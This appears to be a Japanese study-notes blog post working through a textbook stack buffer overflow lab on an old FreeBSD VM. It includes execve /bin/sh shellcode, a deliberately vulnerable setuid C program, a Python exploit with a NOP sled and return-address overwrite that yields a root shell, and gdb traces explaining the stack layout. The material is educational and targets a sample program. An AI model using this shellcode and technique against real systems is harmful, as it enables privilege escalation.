バッファオーバーフローを利用して任意のコードが実行される仕組み

参考書籍 : たのしいバイナリの歩き方



仮想マシンを作成する
Index of /pub/FreeBSD-Archive/old-releases/i386/ISO-IMAGES/8.3/
より、FreeBSD-8.3-RELEASE-i386-dvd1.isoをダウンロードし、仮想マシンを作成する。
仮想マシンを作成後、pythonをインストールする。
https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tar.xz
よりpython2.7.8をダウンロードし、以下のコマンドを実行する。

tar xvfzp Python-2.7.8.tar.xz
cd Python-2.7.8
./configure
make
make altinstall

その後再起動し、pythonコマンドが使用可能か確認する。
また、gccgdb、objdumpがインストールされているかも確認する。
FreeBSD-8.3のカーネルにはASLRがないので、kernel.randomize_va_spaceを0にする必要はない。



・シェルコードを生成する。
ソースコードは、書籍のサンプルを利用する。
https://github.com/kenjiaiko/binarybook/tree/master/chap03/FreeBSD_8.3_x86
1, sample6.sをコンパイルする。
sample6.sはスタック上にexecveを呼び出す準備をした後、int 0x80でシステムコールを起こすプログラム

# gcc -Wall sample6.s -o sample6

2, objdumpでマシン語を確認する。

# objdump -d sample6 | grep \<main\>\: -A 16
08048404 <main>:
 8048404:       31 c0                   xor    %eax,%eax
 8048406:       50                      push   %eax
 8048407:       89 e0                   mov    %esp,%eax
 8048409:       83 e8 0c                sub    $0xc,%eax
 804840c:       50                      push   %eax
 804840d:       89 e3                   mov    %esp,%ebx
 804840f:       68 2f 73 68 00          push   $0x68732f
 8048414:       68 2f 62 69 6e          push   $0x6e69622f
 8048419:       89 e2                   mov    %esp,%edx
 804841b:       31 c0                   xor    %eax,%eax
 804841d:       50                      push   %eax
 804841e:       53                      push   %ebx
 804841f:       52                      push   %edx
 8048420:       50                      push   %eax
 8048421:       b0 3b                   mov    $0x3b,%al
 8048423:       cd 80                   int    $0x80

3, 出力されたマシン語が機能するか確認する。
sample7.c

unsigned char shellcode[] = {
    0x31, 0xc0,                   // xor %eax, %eax
    0x50,                         // push %eax
    0x89, 0xe0,                   // mov %esp, %eax
    0x83, 0xe8, 0x0c,             // sub $0x0c, %eax
    0x50,                         // push %eax
    0x89, 0xe3,                   // mov %esp, %ebx
    0x68, 0x2f, 0x73, 0x68, 0x00, // push $0x68732f
    0x68, 0x2f, 0x62, 0x69, 0x6e, // push $0x6e69622f
    0x89, 0xe2,                   // mov %esp, %edx
    0x31, 0xc0,                   // xor %eax, %eax
    0x50,                         // push %eax
    0x53,                         // push %ebx
    0x52,                         // push %edx
    0x50,                         // push %eax
    0xb0, 0x3b,                   // mov $0x3b, %al
    0xcd, 0x80,                   // int $0x80
};

int main(void)
{
    void (*p)(void);
    p = (void(*)())shellcode;
    p();
    return 0;
}
# gcc -Wall -fno-stack-protector -fno-asynchronous-unwind-tables -z execstack -g sample7.c -o sample7
# chmod 4755 sample7
$ ./sample7
# whoami
root

シェルコードの実行が確認できた。



脆弱性をもつプログラムにシェルコードを注入する。
以下の脆弱性のあるコードに、先程作成したシェルコードを注入する。
sample3.c

#include <stdio.h>
#include <string.h>

unsigned long get_sp(void)
{
    __asm__("movl %esp, %eax");
}

int cpy(char *str)
{
    char buff[64];
    printf("0x%08lx", get_sp() + 0x10);
    getchar();
    strcpy(buff, str);
    return 0;
}

int main(int argc, char *argv[])
{
    cpy(argv[1]);
    return 0;
}

1, sample3.cをコンパイルする

# gcc -Wall -fno-stack-protector -fno-asynchronous-unwind-tables -z execstack sample3.c -o sample3
# chmod 4755 sample3

2, 引数にシェルコードを渡す。
渡すシェルコードはpythonで出力する。
exploit.py

#!/usr/local/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
	addr = 0x41414141
else:
	addr = int(sys.argv[1], 16)

s  = ""
s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8
s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16
s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24 # NULLバイト削除のため/bin//shとしている
s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32
s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64
s += "\x90\x90\x90\x90"+pack('<L',addr) #72

sys.stdout.write(s)
$ ./sample3 `python2.7 exploit.py`
0xbfbfeb98 ; 1度目の実行でsample3にスタックポインタの値を表示させる。
Segmentation fault (core dumped)
$ ./sample3 `python2.7 exploit.py bfbfeb98` ; 2度目の実行でリターンアドレスをスタックの先頭に変更する。
0xbfbfeb98
# whoami
root

 


・こうして攻撃者が用意したシェルコードは実行される
gdbでsample3のスタックを確認する。

$ gdb sample3
GNU gdb 6.1.1 [FreeBSD]
...省略...
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas cpy
Dump of assembler code for function cpy:
0x08048560 <cpy+0>:     push   %ebp
0x08048561 <cpy+1>:     mov    %esp,%ebp
0x08048563 <cpy+3>:     sub    $0x48,%esp
...省略...
0x080485d0 <cpy+112>:   mov    %eax,(%esp)
0x080485d3 <cpy+115>:   call   0x804840c <_init+116>
0x080485d8 <cpy+120>:   mov    $0x0,%eax
0x080485dd <cpy+125>:   leave
0x080485de <cpy+126>:   ret
End of assembler dump.
(gdb) b *0x080485de
Breakpoint 1 at 0x80485de: file sample3.c, line 16.
(gdb) b cpy
Breakpoint 2 at 0x8048566: file sample3.c, line 12.
(gdb) run `python2.7 -c 'print "A"*80'`
Starting program: /root/work/sample3g `python2.7 -c 'print "A"*80'`

Breakpoint 2, cpy (str=0xbfbfed64 'A' <repeats 80 times>) at sample3.c:12
12          printf("0x%08lx", get_sp() + 0x10);
(gdb) x/8x $ebp ; %ebp, ret_addr, 引数が格納されている
0xbfbfeba8:     0xbfbfebb8      0x08048601      0xbfbfed64      0xbfbfebd0
0xbfbfebb8:     0xbfbfebe8      0x080484d7      0x00000000      0x00000000
(gdb) x/1s 0xbfbfed64 ; 引数の確認
0xbfbfed64:      'A' <repeats 80 times>
(gdb) c
Continuing.
0xbfbfeb68

Breakpoint 1, 0x080485de in cpy
(gdb) x/8x $esp
0xbfbfebac:     0x41414141      0x41414141      0x41414141      0xbfbfeb00 ; ret_addrが0x41414141で上書きされている
0xbfbfebbc:     0x080484d7      0x00000000      0x00000000      0xbfbfebe8
(gdb) si
0x41414141 in ?? () ; 0x41414141に処理が移った
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

このことから、sample3のスタックは以下の図のようになっていることがわかる。
f:id:kamishiroHW:20200803222153j:plain
そのため、ret_addrの書き換えでシェルコードが実行される。